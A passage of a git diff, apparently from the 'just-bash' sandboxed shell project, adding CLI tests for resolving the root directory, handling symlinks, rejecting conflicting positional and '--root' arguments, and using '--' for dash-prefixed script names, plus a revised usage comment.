expect(result.exitCode).toBe(0); }); + + it("binds an explicit symlink root to its canonical target", () => { + const target = path.join(tempDir, "root-target"); + const link = path.join(tempDir, "root-link"); + fs.mkdirSync(target); + fs.writeFileSync(path.join(target, "inside.txt"), "inside"); + try { + fs.symlinkSync(target, link); + } catch { + return; + } + + const result = runCli(["-c", "'cat inside.txt'", "--root", link]); + + expect(result.stdout).toBe("inside"); + expect(result.stderr).toBe(""); + expect(result.exitCode).toBe(0); + }); + + it("does not reinterpret an inline-script positional from filesystem state", () => { + const narrowRoot = path.join(tempDir, "narrow"); + fs.mkdirSync(narrowRoot); + const result = runCli(["-c", "'echo unsafe'", narrowRoot]); + + expect(result.stdout).toBe(""); + expect(result.stderr).toBe( + "Error: script file cannot be combined with -c\n", + ); + expect(result.exitCode).toBe(1); + }); + + it("treats a positional as a script file even when it names a directory", () => { + fs.mkdirSync(path.join(tempDir, "script-name")); + + const result = runCli(["script-name"], { + cwd: tempDir, + input: "echo ignored", + }); + + expect(result.stdout).toBe(""); + expect(result.stderr).toBe( + "Error: Cannot read script file: script-name\nEIO: open ''\n", + ); + expect(result.exitCode).toBe(1); + }); + + it("preserves the legacy script-file positional root", () => { + fs.writeFileSync(path.join(tempDir, "legacy.sh"), "printf compatible"); + const result = runCli(["legacy.sh", tempDir]); + + expect(result.stdout).toBe("compatible"); + expect(result.stderr).toBe(""); + expect(result.exitCode).toBe(0); + }); + + it("accepts matching positional and explicit roots", () => { + fs.writeFileSync(path.join(tempDir, "legacy.sh"), "printf compatible"); + const result = runCli(["legacy.sh", tempDir, "--root", tempDir]); + + expect(result.stdout).toBe("compatible"); + expect(result.stderr).toBe(""); + expect(result.exitCode).toBe(0); + }); + + it("rejects conflicting positional and explicit roots", () => { + const otherRoot = fs.mkdtempSync( + path.join(os.tmpdir(), "just-bash-root-"), + ); + fs.writeFileSync(path.join(tempDir, "legacy.sh"), "printf compatible"); + const result = runCli(["legacy.sh", tempDir, "--root", otherRoot]); + fs.rmSync(otherRoot, { recursive: true, force: true }); + + expect(result.stdout).toBe(""); + expect(result.stderr).toBe( + "Error: conflicting positional root and --root\n", + ); + expect(result.exitCode).toBe(1); + }); }); describe("--json output", () => { @@ -289,6 +367,14 @@ describe("just-bash CLI", () => { expect(result.stdout).toBe("from-script\n"); expect(result.exitCode).toBe(0); }); + + it("uses -- to execute a script file whose name starts with a dash", () => { + fs.writeFileSync(path.join(tempDir, "-script.sh"), "echo dash-script"); + const result = runCli(["--root", tempDir, "--", "-script.sh"]); + expect(result.stdout).toBe("dash-script\n"); + expect(result.stderr).toBe(""); + expect(result.exitCode).toBe(0); + }); }); describe("mount point behavior", () => { diff --git a/packages/just-bash/src/cli/just-bash.ts b/packages/just-bash/src/cli/just-bash.ts index 0319fb948..f8a42a895 100644 --- a/packages/just-bash/src/cli/just-bash.ts +++ b/packages/just-bash/src/cli/just-bash.ts @@ -5,10 +5,9 @@ * Reads from the real filesystem, but writes stay in memory. * * Usage: - * just-bash [options] [root-path] - * just-bash -c 'script' [root-path] - * echo 'script' | just-bash [root-path] - * just-bash script.sh [root-path] + * just-bash [options] [script-file] [root] + * just-bash -c 'script' [options] + * echo 'script' | just-bash [options] * * Options: * -c